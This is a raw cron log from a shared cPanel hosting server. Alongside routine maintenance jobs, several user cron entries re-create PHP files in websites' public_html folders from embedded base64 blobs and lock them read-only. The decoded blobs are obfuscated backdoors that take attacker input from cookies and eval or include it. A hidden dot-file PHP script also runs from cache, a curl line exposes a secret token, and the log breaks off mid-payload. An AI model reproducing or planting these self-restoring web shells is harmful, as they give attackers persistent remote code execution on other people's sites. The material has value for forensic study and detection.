Mar  2 07:28:02 medusa CROND[2394]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:28:02 medusa CROND[2388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:28:02 medusa CROND[2395]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:28:02 medusa CROND[2396]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:28:02 medusa CROND[2404]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:28:02 medusa CROND[2411]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:28:02 medusa CROND[2412]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:29:01 medusa CROND[22345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:29:02 medusa CROND[22520]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:29:02 medusa CROND[22521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:29:02 medusa CROND[22525]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:29:02 medusa CROND[22526]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:29:02 medusa CROND[22528]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 07:29:02 medusa CROND[22530]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:29:02 medusa CROND[22534]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:29:02 medusa CROND[22538]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:29:02 medusa CROND[22539]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:29:02 medusa CROND[22543]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:29:02 medusa CROND[22545]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:29:02 medusa CROND[22546]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:30:01 medusa CROND[6957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:30:01 medusa CROND[6971]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:30:01 medusa CROND[6998]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7054]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:30:01 medusa CROND[7247]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 07:30:01 medusa CROND[7314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:30:01 medusa CROND[7316]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:30:01 medusa CROND[7318]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7315]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7321]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:30:01 medusa CROND[7320]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:30:01 medusa CROND[7328]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7322]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:30:01 medusa CROND[7331]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:30:01 medusa CROND[7332]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:30:01 medusa CROND[7347]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:30:01 medusa CROND[7349]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:30:01 medusa CROND[7352]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 07:30:01 medusa CROND[7350]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:30:01 medusa CROND[7348]: (root) CMD (/usr/sbin/whmapi1 --output=jsonpretty configureservice service=cpanel_php_fpm enabled=0)
Mar  2 07:30:01 medusa CROND[7356]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7366]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7371]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF